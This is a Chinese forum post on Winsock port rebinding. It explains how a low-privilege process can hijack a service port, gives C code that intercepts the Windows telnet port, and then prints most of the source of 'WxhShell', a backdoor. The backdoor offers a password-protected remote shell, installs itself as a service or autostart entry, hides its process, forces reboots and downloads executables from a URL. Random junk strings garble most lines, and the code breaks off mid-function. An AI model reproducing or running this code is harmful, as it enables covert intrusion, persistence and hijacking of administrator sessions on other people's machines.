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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: PBc.}TSGj  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); }%Dsy2:y  
maW,YOyRN  
  saddr.sin_family = AF_INET; Nz %{T  
~ x- R78'  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); `'H"|WsT  
{B8W>>E  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); z-<U5-'  
-*t4(wT|j  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 794V(;sW,  
g&I/b/A  
  这意味着什么?意味着可以进行如下的攻击: [x Xa3W  
="hh=x.5J  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 R`sU5:n  
>jMq-#*4  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) i'aV=E5  
%9Br  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 "$#X[ .  
`&xo;Vnc  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  vs}_1o  
B/u0^!  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 JFf*v6:,  
@5jJoy(mX@  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Exd$v"s Y  
6fV%[.RR  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 9un* 1%  
Ad!= *n  
  #include Yz4)Q1  
  #include MM8@0t'E  
  #include R%B"Gtl)  
  #include    Vf<VKP[9K  
  DWORD WINAPI ClientThread(LPVOID lpParam);   DA;,)A&=Q  
  int main() "5Orj*{  
  { y8=p;7DY  
  WORD wVersionRequested; s8 S[w   
  DWORD ret; jSNUU.lur  
  WSADATA wsaData; szW_cjS  
  BOOL val; b/65Q&g'  
  SOCKADDR_IN saddr; (T+fO}0  
  SOCKADDR_IN scaddr; WxwSb`U|  
  int err; _EMq"\ND  
  SOCKET s; -v"\WmcS  
  SOCKET sc; F/GfEMSE  
  int caddsize; =8FV&|fP  
  HANDLE mt; "|<6 bA  
  DWORD tid;   X-,scm  
  wVersionRequested = MAKEWORD( 2, 2 ); 3{OY&   
  err = WSAStartup( wVersionRequested, &wsaData ); H 6 i4>U*  
  if ( err != 0 ) { it V@U  
  printf("error!WSAStartup failed!\n"); CGmObN8~'F  
  return -1; M\\t)=q  
  } ;o* n*N  
  saddr.sin_family = AF_INET; GPP{"6q5'  
   w;@DcX$]  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 pd2Lc $O@  
n-iy;L^b  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); bV|(V>  
  saddr.sin_port = htons(23); oj\av~cI  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ti6\~SY  
  { v[4A_WjT  
  printf("error!socket failed!\n"); $ qOV#,@  
  return -1; IoUQ~JviA  
  } 6b& <5,=d:  
  val = TRUE; wXdtY  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Hjl{M>z  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) qIEe7;DO  
  { xe ng`!  
  printf("error!setsockopt failed!\n"); zGKDH=Yy ;  
  return -1; lFvRXV^+f  
  } 022nn-~  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; mY[s2t  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 g+shz{3zvz  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 pe(31%(h  
%g1{nGah  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) " p]bsJG  
  { Mle@.IIT  
  ret=GetLastError(); oJ|8~:)  
  printf("error!bind failed!\n"); (Ic{C5'  
  return -1; %tx~CD  
  } ?M2#fD]e  
  listen(s,2); !&4<"wQ  
  while(1) "XQj ~L  
  { K5X,J/n  
  caddsize = sizeof(scaddr); O7r<6(q(  
  //接受连接请求 9[.vtk\iyH  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); a3}#lY):  
  if(sc!=INVALID_SOCKET) GMc{g  
  { ma4Pmk  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); [Y@?l]&  
  if(mt==NULL) +%yVW f  
  { !YUMAp/  
  printf("Thread Creat Failed!\n"); *5KV DOd  
  break; }*vUOQQp*  
  } 8Q $fXB  
  } ="%nW3e@  
  CloseHandle(mt); 7PE3>cD  
  } ) xRm  
  closesocket(s); hCXSC*;  
  WSACleanup(); qf7:Q?+.|  
  return 0; < H1+qN=]`  
  }   iq s  
  DWORD WINAPI ClientThread(LPVOID lpParam) d GEMrjx  
  { iCA!=%M@D  
  SOCKET ss = (SOCKET)lpParam; w.s-T.5.j  
  SOCKET sc; ~pM\]OC  
  unsigned char buf[4096]; _"BYnPq@wb  
  SOCKADDR_IN saddr; {O\>"2}m'f  
  long num; ?,Z[)5 ZN  
  DWORD val; -mD<8v[F  
  DWORD ret; c;\}R#  
  //如果是隐藏端口应用的话,可以在此处加一些判断 pUs:r0B  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   LR:Qb]|"  
  saddr.sin_family = AF_INET; j1{ @?  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); {\tHS+]  
  saddr.sin_port = htons(23); ^A9D;e6!-  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) K.A!?U=  
  { Z7 \gj`  
  printf("error!socket failed!\n"); zk)9tm;i{  
  return -1; Q_p!;3  
  } 7D5;lM[_  
  val = 100; v0pyyUqS  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5_4Y/2_|  
  { ^Y mq<*X  
  ret = GetLastError(); i21ybXA=Z  
  return -1; uc6;%=%+  
  } x9fNIuAQ  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1.+w&Y5   
  { e;LJdd  
  ret = GetLastError(); rL+K Sb  
  return -1; NZUQ R`5  
  } S<RJ46  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) c;M7[y&  
  { {+Rf?'JZH  
  printf("error!socket connect failed!\n"); YS$?Wz  
  closesocket(sc); ^1d"Rqtv  
  closesocket(ss); QBi&Q%piy  
  return -1; lTNfTO^  
  } j\V9o9D  
  while(1) gQpF(P  
  { dWC[p  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Z1V%pg>]*  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 x --buO  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Q~/TqG U  
  num = recv(ss,buf,4096,0); P\"|b\O1  
  if(num>0) Kv**(~FNnH  
  send(sc,buf,num,0); WU}?8\?U%  
  else if(num==0) \Qa6mt2h  
  break; ^QX3p,Y  
  num = recv(sc,buf,4096,0); WM8 Ce0E  
  if(num>0) W'2a1E  
  send(ss,buf,num,0); t?[|oz:v  
  else if(num==0)  [Tha j  
  break; /.leY$  
  } 99T_y`df  
  closesocket(ss); nxzdg5A(w  
  closesocket(sc); C^uH]WO  
  return 0 ; P#`Mg@.  
  } <8yv(  
+-=o16*{ !  
p h[ ^ve  
========================================================== z"`q-R }m  
3`9H  
下边附上一个代码,,WXhSHELL D;@*  
zu6Y*{$>g  
==========================================================  T~I5W=y  
zB6u%uWR  
#include "stdafx.h" }P[x Z_S1  
kNX"Vo]1  
#include <stdio.h> :*GLLjS;  
#include <string.h> !P*1^8b`f  
#include <windows.h> E;l|I A/7  
#include <winsock2.h> [qhQj\cK  
#include <winsvc.h> +J`EBoIo  
#include <urlmon.h> \ Y[  
$4yv)6G  
#pragma comment (lib, "Ws2_32.lib") v?Q|;<   
#pragma comment (lib, "urlmon.lib") } $:uN  
OLAw Rha  
#define MAX_USER   100 // 最大客户端连接数 2t h\%  
#define BUF_SOCK   200 // sock buffer n[zP}YRr  
#define KEY_BUFF   255 // 输入 buffer k(Z+(Y'{q~  
/|{Yot e  
#define REBOOT     0   // 重启 g(d9=xq@k  
#define SHUTDOWN   1   // 关机 /rsr|`#  
XW!a?aLNX  
#define DEF_PORT   5000 // 监听端口 k(n{$  
&m=Xg(G~c  
#define REG_LEN     16   // 注册表键长度 }{Y)[w#R  
#define SVC_LEN     80   // NT服务名长度 <I.anIB:U  
m2o*d$Ke  
// 从dll定义API klC;fm2C  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ["|' f  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #*^vd{fl  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); p7 b`Z>}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); R/)cEvB-0  
'I|A*rO  
// wxhshell配置信息 b2OVg +3  
struct WSCFG { q'kZ3 G   
  int ws_port;         // 监听端口 CJA5w[m  
  char ws_passstr[REG_LEN]; // 口令 2mVcT3  
  int ws_autoins;       // 安装标记, 1=yes 0=no x <^vJ1  
  char ws_regname[REG_LEN]; // 注册表键名 iV X12  
  char ws_svcname[REG_LEN]; // 服务名 ,#G>&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 6< x0e;>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2UYtFWB9o  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 F,0 @z/8a  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >sAZT:&gv  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %-? :'F!1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (17%/80-J  
/ d S!  
}; QG\lXY,  
bH}6N>Fp  
// default Wxhshell configuration +^% y&8e  
struct WSCFG wscfg={DEF_PORT, Uf^zA/33  
    "xuhuanlingzhe", HJpkR<h  
    1, ZM oV!lu  
    "Wxhshell", %1Gat6V<'  
    "Wxhshell", wN,DTmtD  
            "WxhShell Service", m=&j2~<i  
    "Wrsky Windows CmdShell Service", ODn6%fp%  
    "Please Input Your Password: ", rK%<2i  
  1, ajIgL<x  
  "http://www.wrsky.com/wxhshell.exe", 5Z{h!}Y  
  "Wxhshell.exe" %AbA(F  
    }; J{$+\  
+RexQE  
// 消息定义模块 x2B~1edf  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; u}u;jTi> 2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; @vWC "W  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !4uTi [e  
char *msg_ws_ext="\n\rExit."; f(.@]eu X  
char *msg_ws_end="\n\rQuit."; reml|!F-)  
char *msg_ws_boot="\n\rReboot..."; 3nt&Sf  
char *msg_ws_poff="\n\rShutdown..."; wCiDvHF5+C  
char *msg_ws_down="\n\rSave to "; srfFJX7*  
.5+*,+-  
char *msg_ws_err="\n\rErr!"; b9uo6u4s  
char *msg_ws_ok="\n\rOK!"; l1^/Q~u  
t59" [kQ  
char ExeFile[MAX_PATH]; j.MpQ^eJ7  
int nUser = 0; 8%s ^>.rG  
HANDLE handles[MAX_USER]; eCB(!Y|  
int OsIsNt; a p-\R  
$"[1yQ<p  
SERVICE_STATUS       serviceStatus; P+pL2BA  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; mIVnc`3s  
P<b.;Oz__-  
// 函数声明 )'8DK$.  
int Install(void); ,)mqd2)+"  
int Uninstall(void); 6|U0"C#]  
int DownloadFile(char *sURL, SOCKET wsh); t ?8 ?Ok  
int Boot(int flag); dj*%^cI  
void HideProc(void); }IvJIr  
int GetOsVer(void); ;\7TQ9z  
int Wxhshell(SOCKET wsl); 6'y+Ev$9  
void TalkWithClient(void *cs); }49X  N  
int CmdShell(SOCKET sock); ~S}>|q$  
int StartFromService(void); !xoN%5 !  
int StartWxhshell(LPSTR lpCmdLine); ,2mnjq/*Z  
P;[5#-e  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); }K,:aN,44\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); NVx`'Il8 "  
8cn)ox|J[  
// 数据结构和表定义 .+3= H@8h  
SERVICE_TABLE_ENTRY DispatchTable[] = |+Z, 7~!  
{ Ms5m.lX  
{wscfg.ws_svcname, NTServiceMain}, 6U;pYWht  
{NULL, NULL} X1U7$/t  
}; =jdO2MgSg*  
^,zE Nqg7  
// 自我安装 q q}EXq^  
int Install(void) }OO(uC2  
{ vlCjh! x  
  char svExeFile[MAX_PATH]; o Xwoi!  
  HKEY key; KN U/Kc#  
  strcpy(svExeFile,ExeFile); U#G[#sd> K  
A0.) =q  
// 如果是win9x系统,修改注册表设为自启动 2UY0:y  e  
if(!OsIsNt) { V^aX^;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ! *\)7D  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0gPz|v>z  
  RegCloseKey(key); ($*bwqp]}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M.1bRB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3 #R~>c2  
  RegCloseKey(key); b Jt397  
  return 0; !cnunLc`  
    } }h<\qvCcU  
  } 8[(eV.  
} E> Ukxi1  
else { )t={+^Xe  
kvs^*X''Ep  
// 如果是NT以上系统,安装为系统服务 \&]M \  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Db\.D/ 76  
if (schSCManager!=0) TF 6_4t6  
{ Hno@  
  SC_HANDLE schService = CreateService N'R^S98x  
  ( ~/1kCZB  
  schSCManager, y [e $  
  wscfg.ws_svcname, :~loy'  
  wscfg.ws_svcdisp, >XP]NY}Po[  
  SERVICE_ALL_ACCESS, i'J.c4  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , kRNr`yfN  
  SERVICE_AUTO_START, 1\q(xka{  
  SERVICE_ERROR_NORMAL, c38RE,4U  
  svExeFile, }Q_IqI[7  
  NULL, yrO'15TB  
  NULL, FT73P0!8.  
  NULL, i_ws*7B<  
  NULL, z<c^<hE:l  
  NULL %Rv&VFg  
  ); BDZB;DPb  
  if (schService!=0) eKn&`\j6  
  { %)*!(%\S*3  
  CloseServiceHandle(schService); b_-ESs]g  
  CloseServiceHandle(schSCManager); +<6L>ZAL  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); E&V"z^qs_  
  strcat(svExeFile,wscfg.ws_svcname); ~PaD _W#xP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 'qQ 5K o  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));  fI[tU(x  
  RegCloseKey(key); YIb5jK `  
  return 0; *%(8z~(\  
    } v=nq P{  
  } ]]@jvU_?kS  
  CloseServiceHandle(schSCManager); Fh& ` v0  
} `g6XVa*%#  
} ;k^wn)JE$  
7a0ZI  
return 1; `kIzT!HX  
} Cl[ '6Lk  
o!L1Qrh  
// 自我卸载 `;WiTE)&)  
int Uninstall(void) Z `O.JE  
{ /%}+FMj  
  HKEY key; 3B/ GcltfM  
QE}S5#_"  
if(!OsIsNt) { /,$;xt-J35  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gbwKT`N*  
  RegDeleteValue(key,wscfg.ws_regname); DbJ:KQ!*  
  RegCloseKey(key); .g DWv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4][m!dsU  
  RegDeleteValue(key,wscfg.ws_regname); t5N@ z  
  RegCloseKey(key); @i&LKr8  
  return 0; B1c`(mHl  
  } 62rTGbDbx  
} 0!veLXeK!  
} Tn2Z{.q$  
else { ZgF-.(GV  
4;Z`u.1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _CAW D;P  
if (schSCManager!=0) UBqA[9  
{ xy46].x-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); soW.  
  if (schService!=0) 7&XU]I  
  { %!%3jo0t  
  if(DeleteService(schService)!=0) { +oBf\!{cW  
  CloseServiceHandle(schService); r4dG83qg  
  CloseServiceHandle(schSCManager); WGKN>nV  
  return 0; ][S<M24]Q  
  } LgRx\*[C*  
  CloseServiceHandle(schService); "5%G [MB  
  } ^ $Q',  
  CloseServiceHandle(schSCManager); <F+S}!q  
} mfFC@~|g  
} #9}KC 9f  
pez*kU+9  
return 1; >T;"bc b  
} ]Gow  
[' R2$z  
// 从指定url下载文件 PKT0Drv}c7  
int DownloadFile(char *sURL, SOCKET wsh) ?H eC+=/Z  
{ SPOg'  
  HRESULT hr; w7p%6m  
char seps[]= "/"; XV1#/@H;  
char *token; y;Q_8|,F  
char *file; /:>qhRFJA:  
char myURL[MAX_PATH]; (*7edc"F  
char myFILE[MAX_PATH]; (ZQ{%-i?qR  
]8ua>1XS  
strcpy(myURL,sURL); j+]>x]c0  
  token=strtok(myURL,seps); _o~<f)E[9  
  while(token!=NULL) <8Nh dCO6  
  { }|H]>U&  
    file=token; (`GO@  
  token=strtok(NULL,seps); NSHWs%Zc  
  } NLw#b?%  
'P32G?1C&p  
GetCurrentDirectory(MAX_PATH,myFILE); $5r[YdnY<  
strcat(myFILE, "\\"); w;0NtV|  
strcat(myFILE, file); (S0MqX*  
  send(wsh,myFILE,strlen(myFILE),0); 'Fo*h6=  
send(wsh,"...",3,0); #<0%_Ca  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); c.m ' %4  
  if(hr==S_OK) &|iFhf[o  
return 0; pA='(G  
else vmAMlgZ8{<  
return 1; `j0T[Pi  
1lfkb1BM  
} k6ER GQ9|I  
?;,s=2  
// 系统电源模块 @YdS_W  
int Boot(int flag) .a:"B\B`  
{ \E9Z H3;  
  HANDLE hToken; Zw| IY9D  
  TOKEN_PRIVILEGES tkp; 6(sqS~D  
yU\&\fD>j  
  if(OsIsNt) { .oH0yNFX  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *PMvA1eN=#  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); gZ   
    tkp.PrivilegeCount = 1; x%B^hH;W  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~Lhq7;=H?O  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~l}rYi>g%  
if(flag==REBOOT) { Fj"g CBaR  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Y4 ){{bEp  
  return 0; A|CW4f,  
} 5xwztcR-  
else { Bt[`p\p@  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) z!)_'A  
  return 0; SW UHHl  
} wg^#S  
  } &fdH HN  
  else { m;WUp{'  
if(flag==REBOOT) {  "@Bc eD  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Xlw&hKS  
  return 0; C16MzrB}(N  
} <oI{:KH  
else { w3PE.A"Q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) v#a`*^ ^  
  return 0; 49nZWv48"_  
} gZ%B9i:  
} ~KD x  
_2q4Aaza  
return 1; *;Dd:D9  
} 1s-k=3)  
x6* {@J&5*  
// win9x进程隐藏模块 kCL)F\v"iT  
void HideProc(void) T_\HU*\  
{ N)lzX X  
w}G2m)(  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 9b@L^]Kg  
  if ( hKernel != NULL ) gTY\B.  
  { mwZesSxB_  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); XPd>DH(Yc  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @SDsd^N{2P  
    FreeLibrary(hKernel); ElZ'/l*\  
  } /v: g' #n  
r7c(/P^$G  
return; }+nC}A"BC  
} NOP~?p  
1HskY| X  
// 获取操作系统版本 Oq(_I b)9  
int GetOsVer(void) /4YXx|V  
{ 24:;vcb  
  OSVERSIONINFO winfo; [g]ks   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); eQx9 Vnb  
  GetVersionEx(&winfo); @(JcM=  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) n }7DL8  
  return 1; ^*`{W4e]  
  else bEV 9l  
  return 0; Z 7t0=U  
} mAhtC*  
7fLLV2  
// 客户端句柄模块 mk~i (Ee  
int Wxhshell(SOCKET wsl) J|sX{/WT  
{ qo}-m7  
  SOCKET wsh; XrYMv WT  
  struct sockaddr_in client; xH; qJRHa  
  DWORD myID; C (vi ns  
A-~#ydv  
  while(nUser<MAX_USER) W=j/2c/  
{ @X>k@M  
  int nSize=sizeof(client); ^b~&}uU  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Kf76./  
  if(wsh==INVALID_SOCKET) return 1; LZMdW #,[  
3%/]y=rA  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .6 !IO^`[  
if(handles[nUser]==0) &0K; Vr~D  
  closesocket(wsh); <&n3"  
else U u(ysN4`  
  nUser++; K$\az%NE  
  } Nv,[E+a2  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $lOx 6rL  
f-y4V}  
  return 0; -OB72!sKU  
} tV9W4`Z2q  
#] vq <Y  
// 关闭 socket *DLv$/(0  
void CloseIt(SOCKET wsh) p>Ju)o  
{ l,1}1{k&  
closesocket(wsh); 9r fR  
nUser--; n!|K#  
ExitThread(0); 4))u*c/,  
} QUaz;kNC7  
`. /[/ z-g  
// 客户端请求句柄 %/,PY>:|  
void TalkWithClient(void *cs) JS642T  
{ U> (5J,G  
RsIEY5Q  
  SOCKET wsh=(SOCKET)cs; HW|c -\tS  
  char pwd[SVC_LEN]; /_rQ>PgSZW  
  char cmd[KEY_BUFF]; (s %T1 8  
char chr[1]; UIvTC S  
int i,j; n4 KiC!*i0  
-WB? hmx  
  while (nUser < MAX_USER) { QBR9BR  
)?%FU?2jrn  
if(wscfg.ws_passstr) { R$K.;  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7,!Mmu  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9;&2LT7z  
  //ZeroMemory(pwd,KEY_BUFF); {DI_i +2  
      i=0; f?dNTfQ3mi  
  while(i<SVC_LEN) { ":"QsS#*"#  
@?!/Pl49R  
  // 设置超时 7 ZET@  
  fd_set FdRead; "monuErg&  
  struct timeval TimeOut; 1T%Y:0  
  FD_ZERO(&FdRead); fNFdZ[qOd  
  FD_SET(wsh,&FdRead); ,yWTk ql  
  TimeOut.tv_sec=8; ?6p6OB  
  TimeOut.tv_usec=0; P~#!-9?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =3{h9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~4U[p  50  
'# "Z$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Fh? ;,Z  
  pwd=chr[0]; b5_A*-s$M  
  if(chr[0]==0xd || chr[0]==0xa) { 4adCMfP7.  
  pwd=0; *wwLhweQ5W  
  break; 9HLn_|yU  
  } ci+Pg9sS  
  i++; Q0gO1 T  
    } _R1UEE3M  
t+q LQY}=  
  // 如果是非法用户,关闭 socket $9y]>R  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  k1L GT&  
} }Tu_?b`RUm  
n #p6i  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Gc~A,_(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8!TbJVR  
2K.. ;A$  
while(1) { #v:<\-MjN  
7t\kof  
  ZeroMemory(cmd,KEY_BUFF); V{HZ/p_Y  
8q)2 )p  
      // 自动支持客户端 telnet标准   `-\4Dx1!q  
  j=0; Z%`} `(  
  while(j<KEY_BUFF) { Q[i;I bY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x&l?Cfvv=  
  cmd[j]=chr[0]; go]d+lhFB  
  if(chr[0]==0xa || chr[0]==0xd) { |^S[Gr w  
  cmd[j]=0; gET& +M   
  break; !__f  
  } Umv_{n`  
  j++; ;G0~f9  
    } $P^=QN5 Bb  
Xr :"8FT  
  // 下载文件 j~\\,fl=  
  if(strstr(cmd,"http://")) { BNyDEFd  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); nv{ou [vQ  
  if(DownloadFile(cmd,wsh)) jn^i4f>N  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q&MZ/Nnf  
  else 6aM`qz)  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u7^Z7; J  
  } (8GJLs 8  
  else { %N/I;`  
kX'1.<[  
    switch(cmd[0]) { [_|i W%<`  
  -gu)d5b  
  // 帮助 <9"s&G@  
  case '?': { f4/!iiS}r  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }.NR+:0  
    break; 18}L89S>  
  } bsr  
  // 安装 (^qcX;-  
  case 'i': { *7ap[YXZ\w  
    if(Install()) 8ji!FZf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \z:p"eua z  
    else %a5Sc|&-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G2;Uv/vR  
    break; *B#OLx  
    } E"#<I*b  
  // 卸载 =WyAOgy}  
  case 'r': { 4J!1$   
    if(Uninstall()) tOnaD]J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /p<mD-:.M  
    else I4m)5G?O2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2}[rc%tV:?  
    break; $]|_xG-6{  
    } q1r\ 60M  
  // 显示 wxhshell 所在路径 tK g%5;v  
  case 'p': { xW/J ItF  
    char svExeFile[MAX_PATH]; 5c{=/}Y  
    strcpy(svExeFile,"\n\r"); ++R-_oQ  
      strcat(svExeFile,ExeFile); E4}MvV=  
        send(wsh,svExeFile,strlen(svExeFile),0); hYi-F.Qtq  
    break; Z6K9E=%)c  
    } >8t(qM-~:  
  // 重启 O5_E"um  
  case 'b': { ovm*,La)g  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |1J "r.K  
    if(Boot(REBOOT)) d>@{!c-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .a;-7|x  
    else { T1n GBl\(  
    closesocket(wsh); *fSa8CV  
    ExitThread(0); }9Y='+.%^  
    } ~`*:E'/5k]  
    break; F:hJ^:BP  
    } DMfC(w.d  
  // 关机 r\_rnM)_xN  
  case 'd': { p"q-sMYl  
